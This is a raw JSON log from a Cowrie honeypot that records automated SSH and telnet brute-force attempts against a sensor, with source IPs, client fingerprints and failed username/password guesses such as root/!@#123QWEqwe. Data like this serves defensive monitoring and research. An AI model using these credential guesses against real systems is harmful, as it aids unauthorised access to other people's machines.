{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:00:09.181736Z","src_ip":"94.26.106.229","session":"623fbefbd5e5","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:00:09.270439Z","src_ip":"94.26.106.229","session":"623fbefbd5e5","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"kingbase","password":"123456","message":"login attempt [kingbase/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:00:09.541605Z","src_ip":"94.26.106.229","session":"623fbefbd5e5","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.204","src_port":51264,"dst_ip":"159.203.135.109","dst_port":22,"session":"848a48e7679d","protocol":"ssh","message":"New connection: 45.156.87.204:51264 (159.203.135.109:22) [session: 848a48e7679d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:00:10.584579Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:00:10.599947Z","src_ip":"45.156.87.204","session":"848a48e7679d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:00:10.634837Z","src_ip":"94.26.106.229","session":"623fbefbd5e5","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:00:10.684414Z","src_ip":"45.156.87.204","session":"848a48e7679d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"oscar","password":"oscar","message":"login attempt [oscar/oscar] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:00:10.937376Z","src_ip":"45.156.87.204","session":"848a48e7679d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"94.26.106.229","src_port":58032,"dst_ip":"159.203.135.109","dst_port":22,"session":"16a352f7467d","protocol":"ssh","message":"New connection: 94.26.106.229:58032 (159.203.135.109:22) [session: 16a352f7467d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:00:11.391263Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:00:11.397325Z","src_ip":"94.26.106.229","session":"16a352f7467d","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:00:11.485729Z","src_ip":"94.26.106.229","session":"16a352f7467d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"benjamin","password":"benjamin","message":"login attempt [benjamin/benjamin] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:00:11.752572Z","src_ip":"94.26.106.229","session":"16a352f7467d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:00:12.025103Z","src_ip":"45.156.87.204","session":"848a48e7679d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:00:12.845892Z","src_ip":"94.26.106.229","session":"16a352f7467d","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:00:13.189333Z","src_ip":"47.237.167.49","session":"1a9254705e1d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.204","src_port":50130,"dst_ip":"159.203.135.109","dst_port":22,"session":"5f0f1a0b3786","protocol":"ssh","message":"New connection: 45.156.87.204:50130 (159.203.135.109:22) [session: 5f0f1a0b3786]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:00:14.087625Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:00:14.093768Z","src_ip":"45.156.87.204","session":"5f0f1a0b3786","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:00:14.176620Z","src_ip":"45.156.87.204","session":"5f0f1a0b3786","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user","password":"1qaz@WSX","message":"login attempt [user/1qaz@WSX] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:00:14.426337Z","src_ip":"45.156.87.204","session":"5f0f1a0b3786","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":47.78845477104187,"message":"Connection lost after 47 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:00:15.183412Z","src_ip":"152.42.224.71","session":"074e93074f25","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:00:15.621495Z","src_ip":"45.156.87.204","session":"5f0f1a0b3786","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":38686,"dst_ip":"10.17.0.5","dst_port":23,"session":"e593729fa8e6","protocol":"telnet","message":"New connection: 152.42.224.71:38686 (10.17.0.5:23) [session: e593729fa8e6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:00:16.514872Z"}
{"eventid":"cowrie.session.closed","duration":"32.5","message":"Connection lost after 32.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:00:16.573850Z","src_ip":"47.237.167.49","session":"70a3e98872ed","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":53.39182186126709,"message":"Connection lost after 53 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:00:16.740245Z","src_ip":"152.42.224.71","session":"553163b0b29f","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"94.26.106.229","src_port":31128,"dst_ip":"159.203.135.109","dst_port":22,"session":"e29b631cb33a","protocol":"ssh","message":"New connection: 94.26.106.229:31128 (159.203.135.109:22) [session: e29b631cb33a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:00:17.240985Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:00:17.295055Z","src_ip":"94.26.106.229","session":"e29b631cb33a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:00:17.383254Z","src_ip":"94.26.106.229","session":"e29b631cb33a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":38698,"dst_ip":"10.17.0.5","dst_port":23,"session":"7ff978426e09","protocol":"telnet","message":"New connection: 152.42.224.71:38698 (10.17.0.5:23) [session: 7ff978426e09]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:00:17.527386Z"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.204","src_port":50154,"dst_ip":"159.203.135.109","dst_port":22,"session":"cbc9d84478f0","protocol":"ssh","message":"New connection: 45.156.87.204:50154 (159.203.135.109:22) [session: cbc9d84478f0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:00:17.652973Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:00:17.660805Z","src_ip":"45.156.87.204","session":"cbc9d84478f0","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"alfred","password":"alfred","message":"login attempt [alfred/alfred] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:00:17.728719Z","src_ip":"94.26.106.229","session":"e29b631cb33a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:00:17.743799Z","src_ip":"45.156.87.204","session":"cbc9d84478f0","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"mcserver","password":"mcserver","message":"login attempt [mcserver/mcserver] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:00:18.214019Z","src_ip":"45.156.87.204","session":"cbc9d84478f0","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"170.106.151.211","src_port":53250,"dst_ip":"159.203.135.109","dst_port":22,"session":"d8806c97dc15","protocol":"ssh","message":"New connection: 170.106.151.211:53250 (159.203.135.109:22) [session: d8806c97dc15]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:00:18.813118Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:00:18.818960Z","src_ip":"170.106.151.211","session":"d8806c97dc15","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:00:18.824430Z","src_ip":"94.26.106.229","session":"e29b631cb33a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:00:18.889029Z","src_ip":"170.106.151.211","session":"d8806c97dc15","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"!@#123QWEqwe","message":"login attempt [root/!@#123QWEqwe] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:00:19.200547Z","src_ip":"170.106.151.211","session":"d8806c97dc15","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":120.00134706497192,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:00:19.283098Z","src_ip":"152.42.224.71","session":"a2f529f54790","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:00:19.299231Z","src_ip":"45.156.87.204","session":"cbc9d84478f0","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:00:20.272338Z","src_ip":"170.106.151.211","session":"d8806c97dc15","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.204","src_port":50176,"dst_ip":"159.203.135.109","dst_port":22,"session":"ecd01e3dbb0a","protocol":"ssh","message":"New connection: 45.156.87.204:50176 (159.203.135.109:22) [session: ecd01e3dbb0a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:00:21.467944Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:00:21.478638Z","src_ip":"45.156.87.204","session":"ecd01e3dbb0a","protocol":"ssh"}
